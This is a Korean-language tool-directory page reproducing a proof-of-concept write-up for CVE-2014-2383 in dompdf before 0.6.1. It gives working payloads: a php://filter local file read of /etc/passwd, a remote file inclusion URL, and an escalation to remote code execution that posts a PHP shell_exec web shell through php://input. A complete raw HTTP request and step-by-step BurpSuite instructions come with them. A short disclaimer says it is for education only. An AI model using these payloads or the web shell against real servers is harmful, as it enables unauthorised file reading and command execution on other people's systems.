Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2014-2383-LFI-to-RCE-Escalation — CVE-2014-2383에 대한 개념 증명 익스플로잇으로, dompdf <0.6.1에서 LFI/RFI를 통한 RCE 권한 상승을 시연하며, 단계별 재현 가이드와 자동화 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/relativ3pa1n/cve-2014-2383-lfi-to-rce-escalation
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubrelativ3pa1n/cve-2014-2383-lfi-to-rce-escalation

CVE-2014-2383-LFI-to-RCE-Escalation

CVE-2014-2383에 대한 개념 증명 익스플로잇으로, dompdf <0.6.1에서 LFI/RFI를 통한 RCE 권한 상승을 시연하며, 단계별 재현 가이드와 자동화 스크립트를 포함합니다.

저장소 보기
133년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2014-2383 LFI/RFI RCE로의 권한 상승

테스트 환경: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25

보안 평가 중 CVE-2014-2383의 존재가 발견되었습니다. 이 문서는 개념 증명(PoC)이며, 고객의 개인정보를 보호하기 위해 최초 발견 당시의 세부 사항은 포함하지 않습니다. 다만 이 문서의 내용은 해당 취약점이 악용된 환경을 모방합니다.

발견 https://github.com/projectdiscovery/nuclei

CVE-2014-2383 세부 사항

root@kitploit:~
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.

대상에서 /etc/passwd 파일을 포함하는 데 사용되는 php://filter/resource PHP 래퍼를 확인합니다.

root@kitploit:~
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

이 PHP 래퍼는 로컬 파일 포함뿐만 아니라 원격 파일도 포함할 수 있게 해주었습니다.

root@kitploit:~
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

RCE로의 권한 상승

지금까지 우리는 알려진 정보와 개념 증명(PoC)을 사용하여 이러한 취약점을 악용했습니다. 이 취약점의 악용을 더욱 확대하기 위해 PDF 생성 전에 일종의 "전처리"를 수행하기 위해 다른 프로토콜과 PHP 필터를 사용했습니다.

이 LFI/RFI 취약점의 핵심 차이점은 LFI에서 참조되는 모든 파일이 PDF 문서로 렌더링된다는 것이었습니다. 즉, LFI를 통해 PHP 파일을 렌더링하려고 시도하면 해당 파일이 PDF로 변환될 뿐 파일 내부의 PHP는 실행되지 않는다는 뜻입니다. 페이로드를 자세히 살펴보면 php://filter/resource=가 DOMPDF가 설정한 제한을 우회하는 페이로드의 일부임을 알 수 있습니다.

다른 PHP 필터를 사용하면 서버가 LFI를 실행하기 전에 POST 요청을 전처리하도록 할 수 있습니다. php://input 입력 스트림을 사용하여 POST 요청의 원시 데이터를 읽을 수 있습니다. 또한 실행하려는 명령이 포함된 매개변수를 추가하고 POST 데이터에 정의할 수 있습니다. 따라서 새 매개변수는 php://input&cmd=id 와 같은 형태가 되고, POST 데이터는 <?php echo shell_exec($_GET[‘cmd’]);?> 와 같은 형태가 됩니다. 그 결과는 아래와 같습니다.

재현 단계

DOMPDF < 0.6.1 버전을 발견하면 LFI URL로 접속합니다.

root@kitploit:~
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

이 요청을 BurpSuite와 같은 프록시에서 캡처합니다.

요청을 Repeater(ctrl+r)로 보냅니다.

Repeater에 요청이 있으면 요청을 마우스 오른쪽 버튼으로 클릭하고 "Change Request Method"를 선택합니다.

input_file 매개변수를 수정합니다:

root@kitploit:~
From:
php://filter/resource=/etc/passwd
To:
php://input&cmd=whoami

POST 요청 본문에 다음을 추가합니다: (때로는 작은따옴표를 다시 입력해야 할 수 있습니다)

root@kitploit:~
<?php echo shell_exec($_GET['cmd']);?>

전체 요청은 대략 다음과 유사해야 합니다:

root@kitploit:~
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

<?php echo shell_exec($_GET['cmd']);?>

BurpSuite를 사용 중이라면 요청을 보낸 다음 검색창에서 "BT"를 검색하십시오. 명령이 실행되었고 응답이 생성하려는 PDF의 바이트 수준 데이터에 기록되는 것을 확인할 수 있습니다. (이 경우 사용자는 "daemon"입니다.)

이 대부분을 자동화할 수 있는 Python 스크립트를 작성했습니다.

면책 조항: 이 내용은 교육 목적으로만 제공됩니다. 다른 사람의 웹 서버를 건드리지 마세요. 😄

RCE의 비공개 영상 링크는 다음과 같습니다. 동영상

도구 다운로드